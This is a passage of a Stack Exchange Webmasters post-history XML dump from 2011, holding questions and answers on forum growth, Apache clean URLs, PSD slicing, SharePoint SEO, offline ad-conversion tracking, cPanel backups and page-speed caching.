  <row Id="39369" PostHistoryTypeId="3" PostId="16516" RevisionGUID="878e86ae-bab3-497f-b0a8-b10eff65d61b" CreationDate="2011-07-06T19:31:00.897" UserId="8834" Text="&lt;google-analytics&gt;&lt;tracking&gt;&lt;social-networks&gt;" />
  <row Id="39370" PostHistoryTypeId="5" PostId="16512" RevisionGUID="cba2f660-eb13-4cbc-8229-aefe4c996391" CreationDate="2011-07-06T19:35:47.820" UserId="1240" Comment="Adding some more examples of what we already do." Text="I have a moderately successful message board with an excellent (but tiny) community associated with it.&#xD;&#xA;&#xD;&#xA;One of my goals for the month is to try and increase the amount of users on the site and also the amount of posts per day.&#xD;&#xA;&#xD;&#xA;Apart from the general methods that any site could use to drive traffic is there anything I should specifically be doing for a message board?&#xD;&#xA;&#xD;&#xA;Here are some of the things I have already tried (and am already trying, obviously some of these things are on-going projects)&#xD;&#xA;&#xD;&#xA; - Harnessing Facebook Communities and the 'like' button.&#xD;&#xA; - Writing a friendly message to non-logged in users asking them to sign up or log in.&#xD;&#xA; - Writing posts in such as way as they spark debate or conversation.&#xD;&#xA; - Listen and engage with the community.&#xD;&#xA; - We have a basic reputation system.&#xD;&#xA; - We have an introduction thread and it has a friendly welcoming atmosphere.&#xD;&#xA; - We interview people on the site.&#xD;&#xA;&#xD;&#xA;Any other suggestions would be greatly appreciated." />
  <row Id="39371" PostHistoryTypeId="2" PostId="16517" RevisionGUID="9d92cf89-40e9-4e4c-83e2-fe0b9f7acfda" CreationDate="2011-07-06T19:40:08.323" UserId="1240" Text="My suggestion would be use it as you would a Facebook Like button.  It would be confusing for users to have some social media buttons in one place doing one thing and some others in another place doing something else." />
  <row Id="39372" PostHistoryTypeId="2" PostId="16518" RevisionGUID="3041ac6b-75a1-4e09-913b-fa9819513d42" CreationDate="2011-07-06T20:25:49.977" UserId="6353" Text="A resource that you may find helpful is the Managing Communities blog at http://www.managingcommunities.com/ You'll find information and tips for moderating and growing your forum/community effectively." />
  <row Id="39373" PostHistoryTypeId="2" PostId="16519" RevisionGUID="626ebfcd-dee2-48d9-b299-ecd263d1fde0" CreationDate="2011-07-06T21:08:02.047" UserId="4502" Text="I haven't had to go into it myself, but my understanding is that the &lt;a href=&quot;http://drupal.org/project/commerce&quot;&gt;Commerce&lt;/a&gt; project is what a lot of future effort in this area is going to center on. &#xD;&#xA;&#xD;&#xA;Regarding your business logic point in particular, Commerce is intended to work similarly to Drupal itself as a framework to build things on(so a lot of functionality comes from further add-on modules) rather than trying to give you an all-in-one solution that necessarily has a bunch of unstated assumptions and limitations built in." />
  <row Id="39374" PostHistoryTypeId="25" PostId="16511" RevisionGUID="f944d8af-0f39-413b-8df9-08eaf5f8061f" CreationDate="2011-07-06T21:27:19.207" Comment="http://twitter.com/#!/StackWebmasters/status/88720703985168384" />
  <row Id="39375" PostHistoryTypeId="2" PostId="16520" RevisionGUID="0a71c6d5-04c3-406e-bbbf-48c4b0e3b59b" CreationDate="2011-07-06T22:42:48.237" UserId="8839" Text="I am developing a relatively static website, where I want each page to have a name without .html (or .htm or .xhtml ...) at the end (`/about` not `/about.html`). &#xD;&#xA;&#xD;&#xA;I am developing using the Apache 2.2 server (in OSX). Links like the above work just fine. No monkeying around with `mod_rewrite`, they just work. &#xD;&#xA;&#xD;&#xA;However, on my actual web host ([fatcow.com][1]) this does not work (a link to `/about` just raises a 404 error). I've called them and they don't seem to know what is going on... or particularly think it is their problem. They are using Apache 2.0.&#xD;&#xA;&#xD;&#xA;What is going on here and what is the best method for getting around it? I'd prefer a solution that didn't involve adding a `mod_rewrite` entry for each of my pages, but if that is needed how would I do that?&#xD;&#xA;&#xD;&#xA;  [1]: http://fatcow.com" />
  <row Id="39376" PostHistoryTypeId="1" PostId="16520" RevisionGUID="0a71c6d5-04c3-406e-bbbf-48c4b0e3b59b" CreationDate="2011-07-06T22:42:48.237" UserId="8839" Text="clean urls and differences in hosts" />
  <row Id="39377" PostHistoryTypeId="3" PostId="16520" RevisionGUID="0a71c6d5-04c3-406e-bbbf-48c4b0e3b59b" CreationDate="2011-07-06T22:42:48.237" UserId="8839" Text="&lt;mod-rewrite&gt;&lt;url-rewriting&gt;&lt;clean-urls&gt;" />
  <row Id="39378" PostHistoryTypeId="5" PostId="16520" RevisionGUID="563d2cac-cfac-4291-8461-1e48a4590daa" CreationDate="2011-07-06T22:48:01.727" UserId="8839" Comment="clarify first para" Text="I am developing a relatively static website, where I want to be able to access each page without typing .html (or .htm or .xhtml ...) at the end (`/about` not `/about.html`). &#xD;&#xA;&#xD;&#xA;I am developing using the Apache 2.2 server (in OSX). Links like the above work just fine. No monkeying around with `mod_rewrite`, they just work. &#xD;&#xA;&#xD;&#xA;However, on my actual web host ([fatcow.com][1]) this does not work (a link to `/about` just raises a 404 error). I've called them and they don't seem to know what is going on... or particularly think it is their problem. They are using Apache 2.0.&#xD;&#xA;&#xD;&#xA;What is going on here and what is the best method for getting around it? I'd prefer a solution that didn't involve adding a `mod_rewrite` entry for each of my pages, but if that is needed how would I do that?&#xD;&#xA;&#xD;&#xA;  [1]: http://fatcow.com" />
  <row Id="39379" PostHistoryTypeId="2" PostId="16521" RevisionGUID="bedec771-1ef4-4664-97a2-8cbfcced1b3f" CreationDate="2011-07-06T23:07:38.730" UserId="8354" Text="You need to add the following line into your `.htaccess` file(s):&#xD;&#xA;&#xD;&#xA;    Options +MultiViews&#xD;&#xA;&#xD;&#xA;&gt; **The effect of MultiViews is as&#xD;&#xA;&gt; follows:** if the server receives a&#xD;&#xA;&gt; request for `/some/dir/foo`, if&#xD;&#xA;&gt; `/some/dir` has MultiViews enabled,&#xD;&#xA;&gt; and `/some/dir/foo` does not exist,&#xD;&#xA;&gt; then the server reads the directory&#xD;&#xA;&gt; looking for files named `foo.*`, and&#xD;&#xA;&gt; effectively fakes up a type map which&#xD;&#xA;&gt; names all those files, assigning them&#xD;&#xA;&gt; the same media types and&#xD;&#xA;&gt; content-encodings it would have if the&#xD;&#xA;&gt; client had asked for one of them by&#xD;&#xA;&gt; name. It then chooses the best match&#xD;&#xA;&gt; to the client's requirements.&#xD;&#xA;&#xD;&#xA;See these links for details:&#xD;&#xA;&#xD;&#xA;- http://httpd.apache.org/docs/current/mod/core.html#options&#xD;&#xA;- http://httpd.apache.org/docs/current/content-negotiation.html#negotiation (scroll a bit until you see *Multiviews* header)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39380" PostHistoryTypeId="2" PostId="16522" RevisionGUID="1637807e-514a-463b-a280-7f506ca8f19c" CreationDate="2011-07-06T23:59:01.527" UserId="8841" Text="in you page setting there is an apps tab.&#xD;&#xA;just find you app there an choose add ;)&#xD;&#xA;" />
  <row Id="39381" PostHistoryTypeId="25" PostId="16520" RevisionGUID="7c726ef8-6410-41a7-823a-ece2c97898dc" CreationDate="2011-07-07T00:27:18.973" Comment="http://twitter.com/#!/StackWebmasters/status/88766000752889856" />
  <row Id="39382" PostHistoryTypeId="17" PostId="16523" RevisionGUID="8974ad66-3f54-4059-8b50-586b499ca592" CreationDate="2011-07-07T01:07:42.527" UserId="-1" Comment="from http://stackoverflow.com/questions/6590363/how-do-the-professionals-slice-psds-really-fast" Text="" />
  <row Id="39383" PostHistoryTypeId="17" PostId="16524" RevisionGUID="9b0cc426-2725-429d-b2d3-5f4efc819619" CreationDate="2011-07-07T01:07:42.527" UserId="-1" Comment="from http://stackoverflow.com/questions/6590363/how-do-the-professionals-slice-psds-really-fast" Text="" />
  <row Id="39384" PostHistoryTypeId="17" PostId="16525" RevisionGUID="803a27fd-21ab-4dd7-ac97-1911971fcaf6" CreationDate="2011-07-07T01:07:42.527" UserId="-1" Comment="from http://stackoverflow.com/questions/6590363/how-do-the-professionals-slice-psds-really-fast" Text="" />
  <row Id="39385" PostHistoryTypeId="2" PostId="16524" RevisionGUID="879d5ea0-957e-4a5e-ba09-bccbf49d209c" CreationDate="2011-07-06T00:35:20.733" UserDisplayName="EmilF" Text="If its part of their business, they will have a lot practise. When you do the same thing again and again, you learn how to do it fast and without making errors. &#xD;&#xA;&#xD;&#xA;You will have to know the tools of course, but thats the easy part. So of course you wont be able to do it in the same time as a profesional company. I dont think they got any secrets. They use the same tools as available to you.&#xD;&#xA;&#xD;&#xA;What tools are you using now? " />
  <row Id="39386" PostHistoryTypeId="2" PostId="16525" RevisionGUID="833c86fd-64c0-4aa3-bd32-2d9c4727dbbe" CreationDate="2011-07-06T02:26:01.530" UserDisplayName="codediggah" Text="If you prepare your psd file the right way (layer names/ groups) and if it's not too big you can try it here: &#xD;&#xA;&#xD;&#xA;http://psd2cssonline.com&#xD;&#xA;&#xD;&#xA;Btw I'm in no way affiliated to this site, last year i got a complicated layout from a designer and it should be done quickly. I tried it out and it worked fine.&#xD;&#xA;&#xD;&#xA;Anybody knows other sites like this?&#xD;&#xA;&#xD;&#xA;Edit: there's a commercial software called Sitegrinder, but I never tried it." />
  <row Id="39387" PostHistoryTypeId="2" PostId="16523" RevisionGUID="26216d6e-ec60-4f3e-b9b7-bc263eb54e27" CreationDate="2011-07-06T00:27:01.487" UserDisplayName="jwburnside" Text="I've got a solid background in HTML and CSS, but my company frequently outsources PSD to HTML slicing to another company, and they somehow return the results really, really fast. Has anyone had any experience working for a place like this, and can you divulge any of the tools and secrets they use for such a quick turnaround? I'm going to have to be doing a lot of this coming up real soon, and it would great to be able to speed up the process." />
  <row Id="39388" PostHistoryTypeId="1" PostId="16523" RevisionGUID="26216d6e-ec60-4f3e-b9b7-bc263eb54e27" CreationDate="2011-07-06T00:27:01.487" UserDisplayName="jwburnside" Text="How do the professionals slice PSD's really fast?" />
  <row Id="39389" PostHistoryTypeId="3" PostId="16523" RevisionGUID="26216d6e-ec60-4f3e-b9b7-bc263eb54e27" CreationDate="2011-07-06T00:27:01.487" UserDisplayName="jwburnside" Text="&lt;html&gt;&lt;psd&gt;" />
  <row Id="39390" PostHistoryTypeId="5" PostId="16497" RevisionGUID="ee1d426b-d49e-4f6c-bea4-a9cda3e8f0c7" CreationDate="2011-07-07T01:17:35.013" UserId="1253" Comment="minor text edits" Text="As far as I know **Microsoft SharePoint** does not provide many &quot;out of the box&quot; essential features to enable good performance in the search engines. Here are the main issues I found:&#xD;&#xA; &#xD;&#xA;1. Little control over the length and structure of the URL.&#xD;&#xA;&#xD;&#xA;2. Default redirections 302 (temporary) redirects instead of 301 (permanent).&#xD;&#xA;&#xD;&#xA;3. The standard version of SharePoint 2007 creates pages with URLs like this: `/Pages/Thisisatestpageinsharepoint2007.aspx`. This URL structure has poor usability. A better URL would look like: `/test-page-sharepoint-2007.aspx`.&#xD;&#xA;4. By default SharePoint will create the URL based on the title page. This can be a problem from a SEO perspective becasue the content of a page could always change but the structure of URLs should always be persistent.&#xD;&#xA;&#xD;&#xA;5. SharePoint does not support the automated creation and updating of XML Sitemap&#xD;&#xA;&#xD;&#xA;6. You can not add custom meta tags such as `&lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&gt;` to control searche engines robots. &#xD;&#xA; &#xD;&#xA;To overcome some of these problems you can install and configure specialized plugins or extensions. Other problems may require a more complex customization of the application code.&#xD;&#xA;&#xD;&#xA;Do you know if the current version of SharePoint still have those issue and if there are other SEO issues I should aware of?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39391" PostHistoryTypeId="4" PostId="16497" RevisionGUID="ee1d426b-d49e-4f6c-bea4-a9cda3e8f0c7" CreationDate="2011-07-07T01:17:35.013" UserId="1253" Comment="minor text edits" Text="What are the most common SEO issues with Sharepoint?" />
  <row Id="39392" PostHistoryTypeId="5" PostId="16503" RevisionGUID="50803254-03bf-422e-ac75-1d29ff59b0ee" CreationDate="2011-07-07T01:18:13.453" UserId="1253" Comment="edited body" Text="It looks like SharePoint hasn't addressed most, if not all, of the issues you listed. Although it does look like addressing them yourself seems to be easier in II7. Also, have you seen the [SEO Toolkit](http://www.iis.net/download/SEOToolkit)? It seems to addresses some of the issues you mentioned as well.&#xD;&#xA;&#xD;&#xA;Other issues that still seem to exist that I found from some google searches:&#xD;&#xA;&#xD;&#xA; - Pages can be accessed from multiple URLs. This will result in duplicate content issues.&#xD;&#xA; - Lots of JavaScript is loaded. This will cause your pages to load slowly. Page speed is a ranking factor for Google (albeit a small one).&#xD;&#xA; - Sharepoint does not produce valid HTML code. This may result in crawling errors.&#xD;&#xA;&#xD;&#xA;FYI, StackExchange does have a [Sharepoint Q&amp;A site][1] in beta. Someone even [asked a SharePoint SEO question][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sharepoint.stackexchange.com/&#xD;&#xA;  [2]: http://sharepoint.stackexchange.com/questions/10319/sharepoint-seo-tips" />
  <row Id="39393" PostHistoryTypeId="2" PostId="16526" RevisionGUID="51ac10c5-e43b-45a0-a4b0-cf278cf71752" CreationDate="2011-07-07T02:31:30.613" UserId="6064" Text="In Gimp:&#xD;&#xA;&#xD;&#xA;* Create guidelines where you want the image to be cut&#xD;&#xA;* select Filters -&gt; Web -&gt; Slice&#xD;&#xA;&#xD;&#xA;Gimp will create the parts and the html automatically." />
  <row Id="39394" PostHistoryTypeId="25" PostId="16512" RevisionGUID="cf869970-3786-48d0-a477-58259307a83a" CreationDate="2011-07-07T03:27:33.950" Comment="http://twitter.com/#!/StackWebmasters/status/88811363186642944" />
  <row Id="39395" PostHistoryTypeId="2" PostId="16527" RevisionGUID="2b62b659-4066-4034-ae3f-04e538949e77" CreationDate="2011-07-07T05:45:12.600" UserId="8256" Text="Adobe Photoshop CS2 and earlier shipped with a tool called Adobe ImageReady, which was specifically designed for slicing. Last I checked, Adobe discontinued ImageReady and now recommends Adobe Fireworks as the slicing tool now, although it's not included with Photoshop (extra purchase).&#xD;&#xA;&#xD;&#xA;As with any tool, practice and experience will make the job go a lot faster. That company you are referring to probably has it down to an exact process." />
  <row Id="39396" PostHistoryTypeId="25" PostId="16478" RevisionGUID="f4c37a35-881f-4e28-b0c8-f7d5bd646cd8" CreationDate="2011-07-07T06:27:34.453" Comment="http://twitter.com/#!/StackWebmasters/status/88856664756846592" />
  <row Id="39397" PostHistoryTypeId="5" PostId="16504" RevisionGUID="dbe7ec84-17f4-4a25-a762-300f4cf1f50a" CreationDate="2011-07-07T07:31:04.700" UserId="7198" Comment="changed answer to cater for physical store sales" Text="Tracking offline conversion is tricky, but here are some potential strategies to measure the effect of an online ad on physical store sales:&#xD;&#xA;&#xD;&#xA;###Build a discount voucher system&#xD;&#xA;Create a coupon code system to track the source of sales. This could be a simple offer code that visitors quote at the physical checkout, or a voucher to print. Here's a system to minimise the chance of friends sharing the code so you measure only people who've clicked the ad:&#xD;&#xA;&#xD;&#xA; 1. The customer clicks on the ad, which uses a link including a query string such as `http://yoursite.com/yourpage?source=campaignname`&#xD;&#xA; 2. Some code in the head of the product page detects the presence of the `source` query string, sets a cookie called 'source' containing the source information, and redirects immediately to:&#xD;&#xA;`http://yoursite.com/yourpage`&#xD;&#xA; 3. Some code on the product page detects the presence of the cookie, and shows an HTML voucher with the following text:&#xD;&#xA;&#xD;&#xA;&quot;Get 10% off [the product name]. Print this voucher and present it at [store name or address]. (For merchant use only: REDEEM23A)&quot;.&#xD;&#xA;&#xD;&#xA;This redirection system ensures that, should the user pass the link on to a friend, their friend sees no offer code (because the query string has been stripped from the URL, and the friend won't have the 'source' cookie). There's nothing to stop someone printing multiple vouchers and handing them around, of course, but it still makes the barrier a little higher.&#xD;&#xA;&#xD;&#xA;###Improve it using unique offer codes&#xD;&#xA;If you wanted even more control over the offer redemption, in step 2 above, you could generate a unique code, store it in a database, and put that offer code on the voucher. Then, at the end of each month, collect up all the vouchers and check the offer codes against the ones in your database to rule out duplicate codes and build a more accurate picture of who used your vouchers.&#xD;&#xA;&#xD;&#xA;In addition, the section that appears for customers who click the ad could prompt them for their email address and send them a unique voucher code. They might be more likely to print the voucher if its stored safely in an email.&#xD;&#xA;&#xD;&#xA;I appreciate that your client might not be too keen to offer 10% off their products, but you could reassure them that it will likely save them money; offering a small discount will help them track the success of their campaigns to ensure that they're not wasting money on ineffective marketing.&#xD;&#xA;&#xD;&#xA;###Target the ad at one geographic location only&#xD;&#xA;If your customer has multiple stores, you could run the ad only for visitors from a certain area and see if sales in that area pick up. Facebook and Google AdWords both offer geo targeting of ads.&#xD;&#xA;&#xD;&#xA;###Run only one advert&#xD;&#xA;If you can't geo target your ads for any reason, you could target by time instead. Run only that ad in a given week in which sales volume is generally stable and well known, and measure effect on sales.&#xD;&#xA;&#xD;&#xA;###Turn it on and off&#xD;&#xA;Run the ad for four weeks, and turn it off for four weeks and measure the difference against the usual baseline of sales for each four-week period.&#xD;&#xA;&#xD;&#xA;###Don't run online ad campaigns back-to-back&#xD;&#xA;Have a small gap between online ad campaigns to see if sales return to the baseline in between campaigns, and to better gauge the difference between two ads you're trialling.&#xD;&#xA;&#xD;&#xA;###If measuring phone sales, use a different number&#xD;&#xA;Detect traffic from the ad using the method described above, then show a different phone number on your page if you'd like to gauge the impact on phone sales.&#xD;&#xA;&#xD;&#xA;###In summary&#xD;&#xA;It's very hard to do accurate cost-benefit analysis for online ads when you're measuring conversion rate offline, but using a custom voucher code system and carefully limiting the location, frequency, and number of ads you run at one time are among the best methods to measure ad effectiveness." />
  <row Id="39398" PostHistoryTypeId="4" PostId="15027" RevisionGUID="4837e114-de88-4768-bba9-936651dd2925" CreationDate="2011-07-07T07:38:53.743" UserId="7198" Comment="Changed title to clarify question" Text="Monitoring offline conversion of online advertisements" />
  <row Id="39399" PostHistoryTypeId="5" PostId="16504" RevisionGUID="d7f060ee-ca34-499a-8072-37e1dfab96fc" CreationDate="2011-07-07T07:44:04.893" UserId="7198" Comment="edited body" Text="Tracking offline conversion is tricky, but here are some potential strategies to measure the effect of an online ad on physical store sales:&#xD;&#xA;&#xD;&#xA;###Build a discount voucher system&#xD;&#xA;Create a coupon code system to track the source of sales. This could be a simple offer code that visitors quote at the physical checkout, or a voucher to print. Here's a system to minimise the chance of friends sharing the code so you measure only people who've clicked the ad:&#xD;&#xA;&#xD;&#xA; 1. The customer clicks on the ad, which uses a link including a query string such as `http://yoursite.com/yourpage?source=campaignname`&#xD;&#xA; 2. Some code in the head of the product page detects the presence of the `source` query string, sets a cookie called 'source' containing the source information, and redirects immediately to:&#xD;&#xA;`http://yoursite.com/yourpage`&#xD;&#xA; 3. Some code on the product page detects the presence of the cookie, and shows an HTML voucher with the following text:&#xD;&#xA;&#xD;&#xA;&quot;Get 10% off [the product name]. Print this voucher and present it at [store name or address]. (For merchant use only: REDEEM23A)&quot;.&#xD;&#xA;&#xD;&#xA;This redirection system ensures that, should the user pass the link on to a friend, their friend sees no offer code (because the query string has been stripped from the URL, and the friend won't have the 'source' cookie). There's nothing to stop someone printing multiple vouchers and handing them around, of course, but it still makes the barrier a little higher.&#xD;&#xA;&#xD;&#xA;###Improve it using unique offer codes&#xD;&#xA;If you wanted even more control over the offer redemption, in step 3 above, you could generate a unique code, store it in a database, and put that offer code on the voucher. Then, at the end of each month, collect up all the vouchers and check the offer codes against the ones in your database to rule out duplicate codes and build a more accurate picture of who used your vouchers.&#xD;&#xA;&#xD;&#xA;In addition, the section that appears for customers who click the ad could prompt them for their email address and send them a unique voucher code. They might be more likely to print the voucher if its stored safely in an email.&#xD;&#xA;&#xD;&#xA;I appreciate that your client might not be too keen to offer 10% off their products, but you could reassure them that it will likely save them money; offering a small discount will help them track the success of their campaigns to ensure that they're not wasting money on ineffective marketing.&#xD;&#xA;&#xD;&#xA;###Target the ad at one geographic location only&#xD;&#xA;If your customer has multiple stores, you could run the ad only for visitors from a certain area and see if sales in that area pick up. Facebook and Google AdWords both offer geo targeting of ads.&#xD;&#xA;&#xD;&#xA;###Run only one advert&#xD;&#xA;If you can't geo target your ads for any reason, you could target by time instead. Run only that ad in a given week in which sales volume is generally stable and well known, and measure effect on sales.&#xD;&#xA;&#xD;&#xA;###Turn it on and off&#xD;&#xA;Run the ad for four weeks, and turn it off for four weeks and measure the difference against the usual baseline of sales for each four-week period.&#xD;&#xA;&#xD;&#xA;###Don't run online ad campaigns back-to-back&#xD;&#xA;Have a small gap between online ad campaigns to see if sales return to the baseline in between campaigns, and to better gauge the difference between two ads you're trialling.&#xD;&#xA;&#xD;&#xA;###If measuring phone sales, use a different number&#xD;&#xA;Detect traffic from the ad using the method described above, then show a different phone number on your page if you'd like to gauge the impact on phone sales.&#xD;&#xA;&#xD;&#xA;###In summary&#xD;&#xA;It's very hard to do accurate cost-benefit analysis for online ads when you're measuring conversion rate offline, but using a custom voucher code system and carefully limiting the location, frequency, and number of ads you run at one time are among the best methods to measure ad effectiveness." />
  <row Id="39400" PostHistoryTypeId="2" PostId="16528" RevisionGUID="9eac7e5a-9f54-4822-894b-97d91dbb0216" CreationDate="2011-07-07T07:49:01.337" UserId="1089" Text="&quot;they somehow return the results really, really fast&quot;&#xD;&#xA;&#xD;&#xA;If you've worked with the client several times before its possible they are accustomed to your companies design &quot;style&quot;, by that I mean they know what to expect from your designs in terms of general layout and any nuances you may have. Thus its quite probable they have a standard template they use for your designs, so they don't have to slice and dice the entire psd file.&#xD;&#xA;&#xD;&#xA;Its also possible the work they output isn't very good, or at least isn't as good as it could be.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39401" PostHistoryTypeId="2" PostId="16529" RevisionGUID="b3195863-21ea-4278-898a-b61da42c5afd" CreationDate="2011-07-07T08:03:18.450" UserId="7198" Text="I've never worked in an HTML chop shop, but the reasons they slice designs quickly are probably the same reasons any professional team gets work done fast:&#xD;&#xA;&#xD;&#xA;###They have a lot of experience doing it&#xD;&#xA;Many chop shops are professional web design teams who chop up designs in their downtime to earn some extra cash. They will have sliced hundreds or thousands of designs. Any repetition of a task like this results in increased productivity (and, invariably, boredom and dissatisfaction too).&#xD;&#xA;&#xD;&#xA;###They hire good people and train up the rest&#xD;&#xA;If I were running an HTML chop shop, I'd hire good people to do the fast turnaround stuff and cheap people to do the longer turnaround jobs. This creates an environment that allows the inexperienced guys to learn on the job without feeling the same pressure that staff earning a little more have to put up with.&#xD;&#xA;&#xD;&#xA;###They use production line delegation&#xD;&#xA;HTML chop shops are production lines. As such, in the larger-scale ones, you'll probably find a production line delegation system: one guy might handle customer contact and support, another chap will slice the design and export it to individual image assets, the next poor sod will code the thing, and the final guy will do Q&amp;A/testing and hand off. Because each person is doing the same thing every day, they get very good at it, and it's easier to see where the bottlenecks are and chuck more resources/training at those areas.&#xD;&#xA;&#xD;&#xA;###They don't start from zero&#xD;&#xA;Websites aren't *that* different. They will have developed their own baseline styles -- one for a sans-serif site, another for a serif, for example. Or one for a fixed-width center-aligned site, one for a 3-column site, another for a 2-column one etc.&#xD;&#xA;&#xD;&#xA;In short, they're not using some secret system that you're not privy to. They've simply set up a business that depends on efficiency and fallen back on the systems that all companies who depend on fast turnaround use." />
  <row Id="39402" PostHistoryTypeId="5" PostId="16529" RevisionGUID="13517f37-7b97-468b-8ae5-ed364dcf2de2" CreationDate="2011-07-07T08:13:39.033" UserId="7198" Comment="added 461 characters in body" Text="I've never worked in an HTML chop shop, but the reasons they slice designs quickly are probably the same reasons any professional team gets work done fast:&#xD;&#xA;&#xD;&#xA;###They have a lot of experience doing it&#xD;&#xA;Many chop shops are professional web design teams who chop up designs in their downtime to earn some extra cash. They will have sliced hundreds or thousands of designs. Any repetition of a task like this results in increased productivity (and, invariably, boredom and dissatisfaction too).&#xD;&#xA;&#xD;&#xA;###They hire good people and train up the rest&#xD;&#xA;If I were running an HTML chop shop, I'd hire good people to do the fast turnaround stuff and cheap people to do the longer turnaround jobs. This creates an environment that allows the inexperienced guys to learn on the job without feeling the same pressure that staff earning a little more have to put up with.&#xD;&#xA;&#xD;&#xA;###They use production line delegation&#xD;&#xA;HTML chop shops are production lines. As such, in the larger-scale ones, you'll probably find a production line delegation system: one guy might handle customer contact and support, another chap will slice the design and export it to individual image assets, the next poor sod will code the thing, and the final guy will do Q&amp;A/testing and hand off. Because each person is doing the same thing every day, they get very good at it, and it's easier to see where the bottlenecks are and chuck more resources/training at those areas.&#xD;&#xA;&#xD;&#xA;###They know their tools&#xD;&#xA;There are different ways to slice designs in Photoshop/Fireworks. Some will be better than others for different jobs; they'll learn, for example, whether or not using Photoshop's `Export &gt; Save for Web &amp; Devices` is likely to produce a workable skeleton of code for a given job, or whether they'd be better starting from scratch. (Hint: if any of the page elements are overlapping, it's almost always better to start from scratch.)&#xD;&#xA;&#xD;&#xA;###They don't start from zero&#xD;&#xA;Websites aren't *that* different. They will have developed their own baseline styles -- one for a sans-serif site, another for a serif, for example. Or one for a fixed-width center-aligned site, one for a 3-column site, another for a 2-column one etc.&#xD;&#xA;&#xD;&#xA;In short, they're not using some secret system that you're not privy to. They've simply set up a business that depends on efficiency and fallen back on the systems that all companies who depend on fast turnaround use." />
  <row Id="39403" PostHistoryTypeId="2" PostId="16530" RevisionGUID="6ee3dee7-31bd-4029-bda9-bed810de98e2" CreationDate="2011-07-07T08:20:08.717" UserId="8828" Text="[Browsershots][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is a cracking website to see how your site would display. But, as it was said, CSS3 and HTML5 are still being developed. Also, IE dosen't support some of the things that background-size. See this link for more compatibility details.&#xD;&#xA;&#xD;&#xA;[CSS3 Compatibility.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browsershots.org/&#xD;&#xA;  [2]: http://www.quirksmode.org/css/contents.html" />
  <row Id="39407" PostHistoryTypeId="5" PostId="16475" RevisionGUID="872c206d-9b7e-41ab-a655-aea48fef1f89" CreationDate="2011-07-07T08:32:02.027" UserId="7801" Comment="Added question" Text="Is there a way to automatically backup my website files, both the actual ftp directory and the database, say once a month?&#xD;&#xA;&#xD;&#xA;I have cpanel running on all my shared hosting packages. It has a backup option but it's manual.&#xD;&#xA;&#xD;&#xA;I'm on a mac and use Transmit as my FTP client.&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;Can it be done through the WHM or does it need to be on a non shared cpanel?" />
  <row Id="39408" PostHistoryTypeId="25" PostId="16498" RevisionGUID="b6537e79-d288-4401-8490-45d8fcdc3d9e" CreationDate="2011-07-07T09:27:34.530" Comment="http://twitter.com/#!/StackWebmasters/status/88901963751763968" />
  <row Id="39409" PostHistoryTypeId="5" PostId="16475" RevisionGUID="5108e504-ba1f-44a1-bd57-a14b7a7648e2" CreationDate="2011-07-07T10:06:23.273" UserId="7801" Comment="major update to info" Text="Is there a way to automatically backup a website database, say once a month?&#xD;&#xA;&#xD;&#xA;I have cpanel and WHM running on all my shared hosting packages. It has a backup option but it's manual.&#xD;&#xA;&#xD;&#xA;Important info:&#xD;&#xA;&#xD;&#xA;1. **Needs to be Mac software**&#xD;&#xA;2. **I'm on shared hosting**&#xD;&#xA;3. **My FTP client is Transmit**&#xD;&#xA;4. **It needs to be a free solution**" />
  <row Id="39410" PostHistoryTypeId="4" PostId="16475" RevisionGUID="5108e504-ba1f-44a1-bd57-a14b7a7648e2" CreationDate="2011-07-07T10:06:23.273" UserId="7801" Comment="major update to info" Text="Auto backup website database using cpanel" />
  <row Id="39415" PostHistoryTypeId="2" PostId="16533" RevisionGUID="96ae34f4-289a-4047-8dfd-00b01d5036c1" CreationDate="2011-07-07T12:22:15.750" UserId="7588" Text="In my opinion only Magento is serious out of the open source ecommerce solutions. The business logic is extensive but it takes a long time to learn the skills needed to integrate it with other systems, e.g. for automatic stock updates.&#xD;&#xA;&#xD;&#xA;Stick with Magento, it will be around for a while and when you have one system working you will be able to re-theme it, put new products in and use it on fresh projects. In that way the initial setup/learning is re-used." />
  <row Id="39416" PostHistoryTypeId="25" PostId="16497" RevisionGUID="e787a2d0-eece-488a-86a1-977e5a64184e" CreationDate="2011-07-07T12:27:34.033" Comment="http://twitter.com/#!/StackWebmasters/status/88947260368498688" />
  <row Id="39417" PostHistoryTypeId="2" PostId="16534" RevisionGUID="6c610e3d-557a-4fc8-a697-ff971b266ae8" CreationDate="2011-07-07T13:08:45.597" UserId="5727" Text="In my never ending quest for a faster website, I thought perhaps I could cache some scripts.  I'm using Yslow to rate my site, everything is pretty much A (which is great, our website on Pingdom loads in 0.4-0.6 seconds which is 5-20x quicker than our competitors) except two things:&#xD;&#xA;&#xD;&#xA;Add expire headers:&#xD;&#xA;&#xD;&#xA;&gt; (2011/7/7)&#xD;&#xA;&gt; http://fonts.googleapis.com/css?...&#xD;&#xA;&gt; &#xD;&#xA;&gt; (2011/7/6)&#xD;&#xA;&gt; http://fonts.googleapis.com/css?...&#xD;&#xA;&gt; &#xD;&#xA;&gt; (no expires)&#xD;&#xA;&gt; http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4d7a205f1e2a0b4b&#xD;&#xA;&#xD;&#xA;And too many DNS lookups:&#xD;&#xA;&#xD;&#xA;&gt; The components are split over more&#xD;&#xA;&gt; than 4 domains&#xD;&#xA;&gt; &#xD;&#xA;&gt; static1.scirra.net: 4 components,&#xD;&#xA;&gt; 19.3K (4.3K GZip)&#xD;&#xA;&gt; &#xD;&#xA;&gt; fonts.googleapis.com: 2 components,&#xD;&#xA;&gt; 0.8K (0.5K GZip)&#xD;&#xA;&gt; &#xD;&#xA;&gt; static3.scirra.net: 2 components, 5.5K&#xD;&#xA;&gt; (2.7K GZip)&#xD;&#xA;&gt; &#xD;&#xA;&gt; static4.scirra.net: 3 components,&#xD;&#xA;&gt; 12.7K&#xD;&#xA;&gt; &#xD;&#xA;&gt; static2.scirra.net: 3 components,&#xD;&#xA;&gt; 76.6K&#xD;&#xA;&gt; &#xD;&#xA;&gt; s7.addthis.com: 3 components, 126.3K&#xD;&#xA;&gt; (40.4K 